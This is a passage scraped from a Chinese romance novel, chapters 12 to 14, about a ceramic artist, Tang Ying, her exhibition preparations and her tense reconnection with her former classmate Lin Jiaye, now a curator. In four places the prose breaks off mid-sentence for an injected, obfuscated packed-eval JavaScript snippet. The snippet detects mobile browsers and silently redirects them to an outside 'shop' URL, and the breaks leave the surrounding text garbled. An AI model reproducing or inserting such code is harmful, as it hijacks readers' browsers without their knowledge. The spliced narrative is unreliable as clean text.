林家烨:“问问。” 唐迎的耐心已经有点流失了,随口说了句“印象不好”。 这句过了好一会儿,林家烨才“嗯”了声。 “我觉得也是,”他接着说:“以教练的身份过去,对你来说,也许比老同学的旧情要更具说服力。” 唐迎反应了一会儿,微微睁大了眼睛。 “我绝不是要捉弄你,就当时一个念头,我也不知道我为什么会那样,我以前没做过这种事儿。” 唐迎从来没见过林家烨这样讲话。 从进车里开始,他的语气一直很克制,声音很低,也没有在看她。 他的话好像说完了,但唐迎不知道要回什么,转头去看窗外。 刚上车那会儿,她觉得气闷,把窗户开了一条缝。 一直都有风从外面钻进来,这时拍在颈上冷冷的。 一声短促的“咔嗒”声,林家烨按下了车窗按键。 唐迎右侧的窗户被缓慢地摇了上去。 她张了张口,下意识想说“谢谢”,却发现发不出来声音。 因为林家烨突然倾身过来,手臂越过她,伸到了车门侧面的座椅底部。 座椅一松,往后平移了一小段。 他帮她把卡住的裙摆弄出来,抬头看了她一眼。 唐迎根本动不了。 连呼吸都是僵的。 林家烨已经坐了回去。 他过来,做了些无关紧要的事,又回去,身上有陌生的味道。 唐迎闭了会儿眼睛,感觉清醒了一点,才重新睁开眼,强迫自己想起那些更重要的事,“你刚刚为什么说,觉得我没有准备好?” “你不是不喜欢抛头露面?”他淡淡反问。 唐迎一怔,“你说什么?” “以前姜汕安排你给领导献花,让你出镜学校的纪录片,你一次也没答应过。” 唐迎怔怔听着,想起来了。 姜汕从来不喜欢她,因为她总是和他反着来。校庆的时候却特意选中她,想在领导讲话后安排这么一出。 那时的唐迎一点面子没给,拒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165426|196689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绝地很彻底。 后来,校庆那天如约而至,上台献花的人是林家烨。 领导满意地拍拍他的肩,问他是几班的,姜汕在台下看着,脸上笑得跟花一样。 那时候她只是以为,林家烨喜欢干这种事。 唐迎皱着眉:“你……”后半句没说出口。 她想挽回些主动权,话到嘴边,又换了个说法:“我现在不那么想了。” 林家烨:“我知道。” 唐迎抿了下唇,“别说得像你多了解我一样。”她受不了。 “是么?”林家烨突然笑了一下,“我还有别的没说,你要不要听?” 唐迎瞪着他,不说话。 林家烨说完这句,估计自己也觉得过火了,安静了好一会儿。 “你店里那些作品,不像没野心的,”他一句一句说得很慢,“只是没想到你会有这么快的执行力,我刚发现一点苗头,你已经决定要参展。” “什么时候察觉的?”唐迎已经不会惊讶了,只是强迫自己问下去。 “在棉城,”他说,“你问我棉城和京北比哪里差的时候。” 唐迎心里漏了一拍。 要说哪一刻开始真正动摇决心的,确实是回家的那几天开始。 车内空气变得稀薄。 当他说出这些的时候,唐迎有一种被窥伺了的紧促感。 像是在静谧山林里一路走过,却不知道,自己的足迹早已被暗处的猎人知晓。 车内中控台上的时刻一秒一秒走着,唐迎发现,距离她上车也不过十分钟而已。 林家烨就像这块表,精准、克制。 “你一直都这么敏锐吗?”她艰难地问。 林家烨沉默了好半晌,唐迎以为他不会回答了,他才出声:“看对谁。” 唐迎不再问什么了。 所有事情都够清晰明了了。 “怎么,害怕了?”他扯扯嘴角。 唐迎摇了摇头,“只是在想,自己到底有没有真正认识过你。” 林家烨:“不符合你的预期是吗?” 唐迎:“大概我们到底不是一路人。” 唐迎不知道林家烨此刻在想什么,在她说完那句“不是一路人”后,他便一直没说话,也一动不动,车厢内安静得可怕。 唐迎的嗓子突然有些发干,舔了舔嘴唇,品味不出上面是什么味道。她手指去够车侧面的门把:“我回去了。” 林家烨突然出声:“我送你。” “不用,”她说,“我开车了。” 唐迎说完这句等了一会儿,林家烨依旧没动静,既没有点头,也没有阻拦。 唐迎把车门打开,下车走了。 12. 第 12 章 第二天,唐迎顶着黑眼圈出现在容艺巷,小梅吓了一跳。 她放下手上的活过来问,唐迎没心力解释太多,只说昨晚不小心熬了夜。 “城西的那家雪场停止营业了,说是雪季结束了,”小梅有点儿遗憾,“我本来打算找一天和朋友一起去呢!” “停止营业?”唐迎问。 小梅点点头,“昨天公众号刚发的通知。” 唐迎反而松了口气,摆了摆手,“来年再去滑吧。正好,上次推给你那个教练……” 小梅:“教练……?” 唐迎:“你少和他联系。” 小梅:“啊?” 唐迎:“他辞职了。” 小梅不明所以地点头,“哦......” 四月算不上太忙,只比唐迎之前的生活稍微忙碌了一点。 她的作品只占整个展览不到2%的比重,展馆都有专人负责,她只需要把展品交接好。唯一要花点心思的,是展期内附带的其他公共实践活动。 唐迎大部分时间都和展馆的工作人员沟通。中途,林家烨给她打过一次电话,问她计划参与哪些。 唐迎把心里想的说了。他听完,没提什么意见,只说:“别的去不去都行,讲座和工作坊是大头,到时会着重宣传。” 唐迎说:“好。” 林家烨没再说什么,但也没挂电话,唐迎隔了好一会儿,又说:“谢谢了。” 林家烨说:“不必。” 这次他很快挂了电话。 月底,唐迎去了几次“触域”和其他嘉宾开研讨会,都没有见到林家烨,大概是因为他太忙。 唐迎觉得这样也挺好,她暂时也见不了他。 这段时间,不止她变忙了,贝桃比她更忙。 贝桃要结婚的事没和公司报备,组长最近还给她排了个大单,说要是拿下能有晋升机会。 于是贝桃两头兼顾着跑,边筹备婚礼,边忙项目。 可惜,不可能事事都周全,男方家里对她的作风颇有微词。 贝桃兼顾不过来的时候,就来唐迎家里睡。唐迎通常会买点零食和酒,俩人在沙发上度过一个电影之夜。 但最近的贝桃太累了,经常看着看着就睡过去。 以前面对这种情况,唐迎会把她摇醒,让她一直陪她到片尾。最近却不这样了。 她会安静地给贝桃披上小被子,自己一个人把电影看完。 唐迎没在办公室里上过班,但她知道外头职场竞争多激烈,节奏变动得有多快。 月中旬的时候,一向沉寂的高中班群突然热闹起来,问今年的同学聚会在哪里办。 京北是离棉城最近的大城市,班上有一大半人都选了这里的大学,毕业后留在京北工作。每年到了聚会的时候,再差也能凑够十几个人来。 唐迎这些场合去得少,前两年有类似的活动,她都找理由推了。今年看了眼时间,说有空可以去。 去酒楼之前,唐迎特意回了躺店里。 “姐,你这是上哪儿去呀?”小梅没见过她这么大阵势,蹬着双高跟鞋,行色匆匆地直奔抽屉,抓了叠名片塞进大衣口袋里。 唐迎回:“应酬。” 唐迎以前看不上毕业多年后的同学聚会上分发名片这种戏码,觉得那场面夸张中带着好笑。 现在却觉得没什么脸面是不能放下的,讲座她都能硬着头皮去,发点名片又算什么。 - 酒楼不在市中心,有些偏远,唐迎到地方的时候,人已经到得差不多了。 她刚进包厢门,众人看过来,有人说了句“咱班的风云人物来了”。 唐迎这段时间顾着参展的事,出了不少次门,对这样的注视和关注已经没有以前那么不自在。她大方地接了话,笑着迈进去。 桌那头坐了一个粉色头发戴黑框眼镜的女孩,看见唐迎,很热情地招呼她过去。 “每年死命在群里艾特你,你都不来,今年太阳打西边出来了?”柯嘉璇屁股一抬往旁边挪挪,给唐迎腾出位置来。 柯嘉璇和唐迎高中那会儿玩的很好,是挺开朗匀称一姑娘,家里条件不错,高中那会儿就买了市面上很热的高端单反相机,天天揣包里带着去上学。 高二那年,她如愿当上了校摄影社的社长,现在毕业几年,开起了写真馆。 唐迎长得高,五官又有特点,柯嘉璇曾经邀请她去店里做模特,去拍那些写真集的样片。 唐迎没答应,柯嘉璇知道她性格,本身也不是没眼色的人,问了一次就没再提过。 虽然毕业之后联系少了,但相比别人还是热络得多,不会没话聊。这时进了包厢,又自然而然地坐在一块儿。 唐迎回她:“出来见见人,在家里闷得快发霉了。” 柯嘉璇:“你不是还要看店?总不可能不出门吧。” 唐迎:“那店一天下来没几个客人,和在家没区别,只是换个地方闷着。” 柯嘉璇乐了。 唐迎说完这话也没闲着,借着自黑,把名片分发了一圈,“有空都来店里看看,帮我涨涨业绩。” 收到名片的众人:“......” 柯嘉璇说:“几年不见,你变了。” “哪儿变了?”唐迎问。 柯嘉璇说:“变得利欲熏心了。” 唐迎冲她咧咧嘴角,欣然接受了这个评价,她和柯嘉璇说,人总是要成长。 上了菜,桌上气氛更热,还上了箱啤酒,唐迎要开车就换了果汁。 到了后面,众人聊起工作生活上的烦恼,唐迎没什么要分享的,就垂着眼睛看手机。 程倧拉了个群聊,参展的主要艺术家都在里面,还有一些负责对接的工作人员。 林家烨也在里面,有突发状况或者需要答疑解惑的时候才出来。 “除了你,还有一位常年在京北,但不来聚会的。”一个男生突然朝唐迎这边说。 唐迎抬头问,“谁?” 有人说:“咱班班长吧。” “前两年他也不来,我们都习惯了,”那个最开始说话的男生说:“我听说他在展览行业,这两年做得风生水起,平常很忙吧。” 每年聚会名单都是以接龙形式在群里发的,谁来谁不来,上面清清楚楚。 林家烨不来同学聚会的事,唐迎早就知道,她来之前就做了功课。 但她还是冲对方点了点头,露出“原来如此”的表情。 柯嘉璇说:“时间久了关系也就淡了,疏远了。” 其他人赞同地点头,又碰了一下酒。 唐迎没有举起杯子,她觉得林家烨这人始终就没和谁亲近过,又何谈疏远。 “上学那会儿班长还是活跃的,学校的重大活动他都来,怎么现在这么不爱凑热闹?”有人调侃。 唐迎正夹菜,听了这话随口接道:“可能换了更大的舞台吧。” 她说完这句,面色如常地吃饭,周围人一愣,都听出些潜台词。 柯嘉璇是个直肠子,大声乐起来:“你还是对他这么有偏见!” 唐迎顿了一下,才意识到自己刚刚说了些什么。 她皱着眉,没有接话。 活动是指优秀学生演讲?还是校级竞赛?林家烨凑的热闹都有目的,没有好处的活动不在他的考虑范围之内——至少在唐迎上学的时候,她是这么认为的。 可现在,她也不确定,她记忆中的林家烨和前两天在车里和她拉扯不清的林家烨,到底哪一个才是真实的。 有人说林家烨在学习上毫不含糊,读书考试放在第一位;另外一人反驳,说人家是全面发展,课外活动也很丰富。 说最多的,还是说没见过林家烨生气的样子,他是讨老师和同学喜欢的班长,脾气好,办事靠谱。 林家烨没生气过吗? 唐迎想起他们之间的相处,在雪场的时候,她滑雪太没顾忌,差点受伤,他虽然没什么表情,但语气肯定是生气了。 还有那晚在他的车里,他说话的时候始终没看她,一直盯着车窗外面,直到她下车,他都没看过一眼。 …… 饭局结束的时候,已经是晚上九点。 毕业不久,没几人有车,大多坐地铁或打的士。唐迎的车是家里赞助的,大家都说她好福气。 唐迎把赞美话都应下来,又顺道载了几个女同学给送回家。 柯嘉璇住的偏远,在另外一个区,最后就剩她和唐迎两个人。 她今晚喝了不少,没醉,但还在兴头上,又回忆起一些往事来。 “真没想过现在能开上写真馆,要说我什么时候真正喜欢上摄影的,也是从高一买了第一台自己的相机开始。” 唐迎在前面听着,笑了一下:“我当时也没想过能有自己的店。” 后座上,柯嘉璇换了个姿势,“你知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165427|196689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?那时候负责审选题的老师特别严厉,这不让拍,那也不让拍。” 唐迎说:“我记得呀,有一次你还哭了。” 柯嘉璇说:“现在想起来还是生气。” 她问唐迎:“你还记得我拍你作品的那期吗?” “我当然记得啦,”唐迎翘起唇角,笑得有些坏,“姜汕不让拍,气急败坏的。” 姜汕不喜欢她捣鼓那些东西,放在教室里都觉得碍眼,一听说柯嘉璇要专门来拍、还要上校刊,气炸了。 柯嘉璇笑了,说:“但我们最后还是得手了。” 唐迎一边听,一边想起来很多很多美好的回忆,觉得今晚心情高昂了一点。 柯嘉璇又小声咕哝了一句什么,唐迎没听清,她拿了一瓶矿泉水递过去。 柯嘉璇接过水,咕咚咕咚喝了好几口,说:“那期我印象很深,不止是因为老姜死活不让,其实还因为别的。” 柯嘉璇说到这儿,突然不说了,停顿了一下,像是要卖什么关子似的。 唐迎觉得她快醉了才会倾诉欲这么强,就顺着她的话问:“是因为什么呀?” 柯嘉璇:“你也知道,我们的期刊都是先在学校的公众号上发表,几乎没人买纸质版吧?所以我们都是把纸质书刊放在校图书馆或者小花园免费展阅的。” 唐迎点点头,她记得那届三中的摄影社刚起步,没什么人气,学生也觉得学校官方的杂志土,纸质版的没市场,印刊量很少。 柯嘉璇接着说:“结果到了那期,公众号的文章前一秒刚发出去,班长就来社团室找我,专门要买纸质版的。” “我说还没印出,让他等等,他就真等着。只是隔一段时间就固定来一次,问出了没有。” 柯嘉璇脸颊红润、洋洋洒洒地说完,唐迎从后视镜里看她,伸手把车内音乐音量调小了,声音有些哑:“你说什么?慢慢说。” 柯嘉璇就又把事情从头到尾详细复述了一遍,这一次说得慢慢的,唐迎把每一个字都听清楚了。 唐迎问:“后来呢?” “后来,我以为我们摄影社出息了,校刊马上要乘火爆之势!但其实……除了他来买,一点别的水花和动静都没有,”柯嘉璇笑着咳嗽两声,“到了下个月的时候,我在教室碰见他,就兴冲冲问他,‘帅哥还买不买期刊啦?’” 唐迎:“他怎么说?” 柯嘉璇说:“他说上一期买了不好看,以后不买了。我就很失望。” 唐迎还是问:“后来呢?” “没有后来了。”柯嘉璇坐直了些,朝前面凑了凑,“你怎么问这么详细?” 唐迎伸手把车内音乐调回正常音量,“看你说得挺有兴致。” 喝了酒的人脑子不灵活,看不出什么端倪,柯嘉璇很快乖乖坐回去了,“直到现在我也不知道他为啥突然对校刊感兴趣,这么多年都想不通。” 唐迎说:“想不通就别想了,离你家还得二十分钟,睡会儿吧。” 柯嘉璇其实很早就想倒下了,只是精神一直比较亢奋,这时往后一靠,跟唐迎说到地方叫她,就没声了。 柯嘉璇住在城东,偏得很,这条路是平坦大道,除了敞亮的路灯和几辆在路上相伴的车,没别的了。 路很宽很静。 唐迎开得很顺畅,心里渐渐安静下来。 回到家,唐迎洗完澡,又煮了碗姜汤,坐在沙发上喝。 滑雪护具被她放在柜子最后一层,唐迎盯着那里看了一会儿,拿出手机,点开高中摄影社的公众号。 公众号到了现在还在持续更新,她搜了“课桌一角”的关键词,就弹出来一篇主题文章。 唐迎点进去。 互联网时代里,过去的痕迹总是能轻而易举地找到。 柯嘉璇其实很会拍。 那些在唐迎看来是黑历史的半成品,在特殊角度和光影下,也显得质感厚重。 唐迎盯着那张图看了一会儿,点击保存到相册。她突然想知道林家烨透过纸面看这些作品时,是什么样的心情。 他会喜欢吗?她这些乱七八糟的东西。 他买回去,看了两眼发现没什么好看的,会不会后悔? 肯定是这样的。这张照片放上去,没有惊艳到他,所以他从此以后决定再也不买期刊了。到下一期柯嘉璇去问他的时候,他便想都没想就拒绝了。 唐迎无意识笑了一下,手指摸了摸屏幕。 13. 第 13 章 月底,井鸣转发了一个国内艺术家的小众画展,问唐迎要不要同行,唐迎没有拒绝。 到地方的时候,井鸣相比之前的见面,穿得没有很正式,休闲很多,两人见了面一起检票进馆。 展厅比“触域”大,好几层的楼。展品太多,唐迎有取舍地看,不感兴趣的一带而过,遇到欣赏的,就会停在作品前面好几分钟,看得很认真。 井鸣问:“你看展都是这样吗?” 唐迎不知道他说的是什么,井鸣指指她脚下,“你站在这幅画前面快十分钟了。” 唐迎反应过来,后退了一步,“没事,你不用等我。” 井鸣却走过来两步,跟她一起打量那幅画,问:“看出点儿什么?” 这幅画的主角是一匹驮着重担的马。 唐迎聊起灰暗的色调、突破极限的姿势、还有马的神态里对远方的向往,想走远,却被身上的货压得直不起身。 “这幅画和转角那副风格好像差不多?”井鸣摸着下巴,“为什么那幅你只看了一眼,这幅停留这么久?” 唐迎摇摇头,“一点细微的差别,就让整幅画的感觉发生改变了。” 井鸣问:“哪里差了?” 唐迎说:“马的心情。” 井鸣说:“不都是郁闷和沉重吗?” “不太一样,”唐迎指着画幅一处,“转角那副马的头更低一些,在看着自己脚下。这一幅的头是昂扬的,眼睛是看向远处的。” 井鸣像是听进去了,眼睛盯着她指的地方看。 他说:“这两幅的作者是同一个人,你知道吗?” 唐迎笑着摇摇头,“这我没细看,也没研究背景。” 井鸣说:“我有个朋友和你恰好相反,他看展看得很细,给每一个作品分配的时间都均匀,确保每一幅看完整。等到出了展馆,随便拿一幅出来,他都能讲得头头是道。” 唐迎点点头,“这也是一种能力。”她的短板,在别人那里可能是长处。 唐迎突然想起林家烨,他大概就是这样的人,冷静克制、规划缜密、做什么都有目标和目的。 一种和她完全不一样的人。 她还在想,井鸣注意到她在走神,没再往下说了。唐迎抬眼的时候已经恢复如常,问他:“那你呢?” 井鸣:“我什么?” 唐迎:“你是哪一种呀?” “我?”井鸣愣了愣,爽朗地笑起来,“我和你一样,都是跟着自己的感觉走,看得磕磕绊绊四处漏风。” 唐迎被逗笑了。 - 因为看得沉浸,两个小时很快过了。 到展览出口的时候,井鸣在意见区撕了一张纸,他没写什么正经意见,在上面涂鸦了几个可爱的图案、一小段文字和好几个夸张的感叹号。 他扭头问唐迎:“你要吗?” 唐迎拒绝了。 写完他没有投进意见箱,唐迎看着他和工作人员说了几句话,把意见信递过去,对方朝他点点头,说是会转交。 等他回来,唐迎问,“你认识这里的人?” “嗯,”井鸣说:“有几个作者是我朋友,那意见我瞎写的,告诉他们我来过就行。” 唐迎:“这里没什么人流量吧?” 她没见到多少观众,几层的展馆很空旷。 井鸣说:“对。” 唐迎点点头说:“给朋友捧场挺好的。” 井鸣说:“我怎么觉得你是在暗示这个展不好看。” 唐迎很坦率地说:“确实不怎么好看,虽然不缺艺术性,但风格太过抽象,像漂浮在空中一样不接地气。” 井鸣一愣,笑了,盯着她:“那你刚刚不写进意见箱里去?” 唐迎:“他们不是你的朋友吗?” 井鸣有点意外她这个回答,笑笑没说话。 他给她讲起个故事,“很多艺术家其实没有人们想得那么高大上。我一朋友,就是那幅《檐上白鸦》的作者,你还有印象吗?” 唐迎回忆了一下,点点头。 井鸣说:“我每次去见他,他都是醒来就开始画,从早上画到晚上,吃饭都顾不上。” “我俩很多年了,”他笑笑,“当年都是差不多的时间出来,一起住在三十多平米的出租房里。” 唐迎说:“你们的感情很好吧。” 井鸣点头:“嗯,他参与的展我都会来看看,我不希望他创作的路上太孤独。” 唐迎:“创作不会被生计所阻碍吗?” 井鸣点头,“当然,创作就是创作,不为别的。” 唐迎一愣,又问:“那你的朋友,他现在怎么样了?” 井鸣说:“还是那样呗,这么多年有这顿没下顿。” 唐迎说:“到头来,只有你一个人混出了些名气。” 井鸣笑了,唐迎也跟着笑,笑他的自相矛盾,还有无条件的豁达和乐观。 唐迎觉得自己需要井鸣的这份乐观。 至少在现在这个阶段是的,她需要积累力量,两耳不闻窗外事,没有顾忌地往前冲。 井鸣说:“走吧,这个话题没法在这里分出胜负的。” 说是要继续讨论,但俩人都没再提过这事,像是拥有了奇妙的默契。 大多数时候,井鸣都是松弛而随性的。如果说今天出门之前,唐迎仍在为要和圈内有声望的前辈见面而感到忐忑,那么到了这一刻,这种情绪已经完全没有了。 她拿了一份展刊放进包里带回去,步调轻松地迈出展馆。 - 从过年回来开始,唐迎的重心都在准备展览上,店里积压了一部分订单,全都要在这一个月完成。唐迎让小梅挂了暂时不接定制的通知,先把手头上这些做完。 唐迎散漫惯了,店里的营业时间一直是从下午开始,晚上再走。这天到了点,小梅没有要走的意思,一直在整理货单和打包。 “小梅。”唐迎叫了一声。 小梅抬头看她,唐迎还没说话,小梅就去看墙上的挂钟,“呀”了一声站起来。 “对不起姐,我没注意时间,”小梅走过来,商量的语气,“我再清会儿单行吗?快完了!您先走,我来关门。” 小梅知道唐迎不喜欢她加班,以往都是到点就轰她走。老板说了,如果她加班,她就要给她加工资,还耽误关门,是亏本买卖。 小梅没想过加钱的事,这里就算不加班工作强度也不大,况且她还能跟着唐迎学手艺,唐迎已经很不亏待她了。 唐迎自从那声轻轻的“小梅”之后其实就没再说过话,听着小梅一个人讲,眼尾弯弯,目光平和,“你清吧。” 小梅一愣,“你说什么?” “你继续清吧,我也再待一会儿。”唐迎说完收回目光,继续去看笔记本电脑的屏幕。 小梅还是没反应过来,她带着奇怪的眼神凑过来:“老板,你在看什么啊?” 唐迎说:“展会讲座活动的ppt。” 小梅说:“噢。” 她走回去,好像更有干劲儿了一点,打包得又快又好,时不时抬头瞅瞅唐迎,见唐迎敲键盘敲得专注,胸口突然有些感情上涌——这么多年老板终于靠谱了一次...... 唐迎不知道小梅汹涌的心理活动,她和讲座的其他嘉宾创建了个小群。 展馆工作人员不在里面,也没有井鸣这样的大牛,其余几人都是和她差不多水平的小艺术家,群内讨论氛围很轻松。 她把自己的part上传到群文件里,又把其他人的部分顺了一遍。 这时她第一次参加类似形式的活动,她很重视。 她参加过的最接近的活动是小学三年级班上的小型诗歌大会......那甚至都称不上是一个正式的比赛。 如果换了林家烨来,大概会游刃有余很多。她想起他站在报告厅里汇报的模样,眉目沉着、有条不紊;他和台下的人互动,既周到又从容;更早的时候,校级演讲比赛、国旗下讲话...... 所有的这些,都是高中时的唐迎不屑一顾的。 到了现在,为什么又会多了一丝向往? 绝对不是因为那个人是林家烨。 只不过她这段时间刚好需要这样的能力,才会频繁地想起他。 群里两分钟前开启了语音讨论,唐迎加入进去。 - 正式开展前,工作人员邀请唐迎去看一眼。 唐迎来过几次已经轻车熟路,门口的保安也认识她,朝她点点头就放人进去了。 展馆没有对外开放,也没有人,唐迎穿过回廊,走得很慢。 第一次来这里看展时,也是这样的感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165428|196689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受,入门的回廊长而深、房顶和墙面在四周像是把人整个包裹住一样。 越往前走,越开阔,这一块的主题叫“形”,这次布展,她的作品就被安排在这里。 刚刚仔细走了一圈,所有前辈的作品唐迎都认真看了,这时再看自己的,总觉得有些不自在。那罐子造型过于别致,细节处的延展也毫无规律,乍一看,有些令人不舒服的张扬。 唐迎看向展品旁的说明牌,这幅作品被命名为《噪》。 噪点的噪,聒噪的噪,名声大噪的噪。 唐迎盯着那个字,突然就笑了。 之前工作人员问过她的意见,唐迎说她创作的时候没想太多,最后名字是展馆的人定的。 简简单单的一个字。 虽然不是个传统意义上的好词,但唐迎有些满意。 她站原地欣赏了一会儿,拿手机拍了一张发给贝桃。 贝桃马上给她打了个电话,问:“要开展了?” 贝桃这段时间很忙,忙婚礼、忙工作。 唐迎知道,年后刚回来那会儿冲贝桃提过一嘴参展的事,没说更细节的事,两个人各忙各的。 唐迎说:“下周开,忍不住来看看。” 贝桃说:“以前没见你为什么事儿这么上心过。” 唐迎说:“嗯,紧张了。” 贝桃一愣,随后笑了,正经问:“场地布置的怎么样?” 唐迎说:“好看。” 贝桃:“好看?” “前辈们的作品,很厉害,”唐迎环顾一圈,视线又回到自己的破罐子上,“再看看我自己的,怪不适应的。” 贝桃说:“看来你是真紧张了。” 唐迎不说话,安静了一小会儿。 前面隔间有些声响,随后走出来一个人。 唐迎扭头看去,林家烨和她打了个照面。 走神的间隙,贝桃的声音传过来:“怎么不说话,那头有人?” 唐迎答:“展馆的人。” 贝桃:“都多晚了,他们还没下班啊?” 唐迎也有点儿烦躁,随口说:“也许吧,这里的人很负责。” 林家烨听到这句,抬头看她一眼。 唐迎侧着身抱着手机,也盯着他。 林家烨对她说了句“没事,你打完”,就走到了前面出口,不知道干什么去了。 “你没事儿就行,那我挂了?”贝桃说:“你自己能行?” “我挺好的,主办方挺靠谱的,”唐迎伸出手指,轻轻摸了摸标签牌上的“噪”字,“人家有经验。” 说完,她想起来林家烨是策展人。 他忙的事情应该很多,不会顾及到作品介绍这类小事吧。 贝桃说:“行,那我挂了。” “嗯,”准备婚礼很累,唐迎对贝桃说:“你办事的时候悠着点,别费太多心,也别生气。” 贝桃说:“知道了。” 挂了电话,林家烨也回来了,手里还拎个袋子,里面不知道是什么东西。 他盯着她看,问:“打完了?” 唐迎说:“打完了。” 唐迎其实有些不自在,继上次研讨会后,他们就没见过面,只有过一次电话,聊的都是工作的事情。 她觉得林家烨好像有哪里不一样了,头发长了点,还有一点点不明显的胡渣。 林家烨把袋子递过来,唐迎往里面看了一眼,一碗山楂姜茶,一杯普通拿铁,两个八竿子打不着的东西,不知道从哪里弄来的。 山楂姜茶的做法不常见,唐迎只在棉城的时候喝过。她不喜欢食物平淡的味道,但很喜欢这种酸甜口的东西,还有点辛辣,喝下去胃里暖暖的。 那时候,天气一到秋冬,学校旁边的早餐店就会推出这杯热饮。唐迎中午从学校溜出来,会买一杯回学校,下午上课的时候喝。 从前唐迎还会认为这是个巧合,但现在不会了。不管林家烨是有心还是无意,她都有些难受。 唐迎半天都没有接,林家烨的手就悬在半空中。 他淡淡看了她一会儿,手伸进袋子里,主动拿出来一杯递给她。 是那杯拿铁。 林家烨说:“喝吧,热的。” 唐迎看他几秒,林家烨的脸上没什么表情,声音也很自然,像很平常的一句。 14. 第 14 章 唐迎把拿铁接过来,说:“多少钱,我转你。” 这次林家烨倒没再客气什么,直接说了“28”。 唐迎把钱转过去,看展看了这么久,她确实也渴了。 林家烨问:“今晚怎么有空来这里?”他打开盖子喝了一口,说话的时候看着桌子上的展品,仿佛只是闲聊。 唐迎如实说:“你们的人说布置好了,让我开展前来看一眼。” 林家烨:“半个月前就布置好了。” 唐迎说:“嗯,一直也没有时间。” 唐迎其实早就收到通知了,是拖到现在不得不来。 林家烨又问:“什么时候回去?” 唐迎今晚本来就有点儿心不在焉,听他这么问,下意识想起在棉城他们相处的时候,过了两秒才反应过来,他是在问她什么时候回公寓。 唐迎说:“什么时候都可以。” 林家烨说了句“行”,走到幕布后的隔间,唐迎不知道他要干什么,就等着。 隔了一会儿,他出来,手里拿着一串钥匙去开小门。这门连着一个迷你放映厅,一般的展馆都有设这样的小隔间,供一些影像类的展品放映。 房间很小,中央有一个小沙发,只够坐两人。 林家烨走到屏幕前面,用遥控器调设备。他注意力都在那里,从开设备到调好,没解释过一句。 直到一切就绪,屏幕上的画面动了一下,林家烨按了暂停键望过来。 唐迎看着他,站在原地没动。 她的表情有点儿冷,林家烨一怔,“抱歉,刚刚是我不周到。” 唐迎还是不说话。 “这是过往的讲座录像,我想带你看看。”他沉默了一会儿,解释。 唐迎目光动了动,转头去看屏幕。 林家烨又说:“工作上的事,没别的。” 林家烨很高,这么高一个人杵在狭窄的小隔间里,有些逼仄。他说这些话的时候,语速比平常快了一点,放映室没开灯,只有一点点投影的光照着他的脸。 唐迎本来站在隔间门口。过了一会儿,她走到沙发旁边,坐下。 林家烨还是站着。 唐迎盯着屏幕,没看他,“不是要看讲座吗?” 林家烨“嗯”了一声,坐下来,把视频摁了播放。 没有很正式的开头,视频开始主持人就已经在推流程了,像中途才开始录的。 就这么一件小事,唐迎回想起“触域”的风格好像一直是这样,没架子,做什么都很随意,但每次从结果上来看又会卖座。 看了有一会儿,林家烨问:“PPT准备得如何?” 唐迎说:“已经传给你们的人看了,说是没问题。” 林家烨:“你自己呢?” 唐迎一怔:“什么?” 林家烨:“你自己觉得呢?” 唐迎不知道他为什么会这样问,抬眼看了他一眼。 林家烨说:“怎么了?” 唐迎摇摇头:“没什么。” 林家烨说:“你加起来交了好几版吧。” 唐迎:“你看到了?” “嗯,”林家烨说:“我从程倧那瞄了一眼。” 唐迎彻底沉默了下来。 她不说话,林家烨也没再追问,两人继续看视频。 看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165429|196689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了差不多十几分钟,唐迎忽然出声:“你说的没错,我自己是不太满意。” 这次林家烨把视频摁停了,等她说完。 唐迎头低下来了,说得慢慢的:“他们定的主题,跟我的东西不太搭边,我找不到切入口。” 这是继上次见面后,她第一次向他流露出寻求帮助的意思。 身上没带刺,也没防备。 林家烨看着她安静几秒,说了句:“不搭边就别硬凑,做你自己想做的。” 很平常的一句话,对唐迎来说却是致命。她消化着他的话,那股熟悉的、不受控的感觉又涌上来。 她把视频停了,说:“我不想看没有参考意义的录像,换一个。” 林家烨没说什么,站起来出了屋。 要找一个主题模糊却精彩的讲座,是件不太容易的事,林家烨这次去了比上次更久的时间。 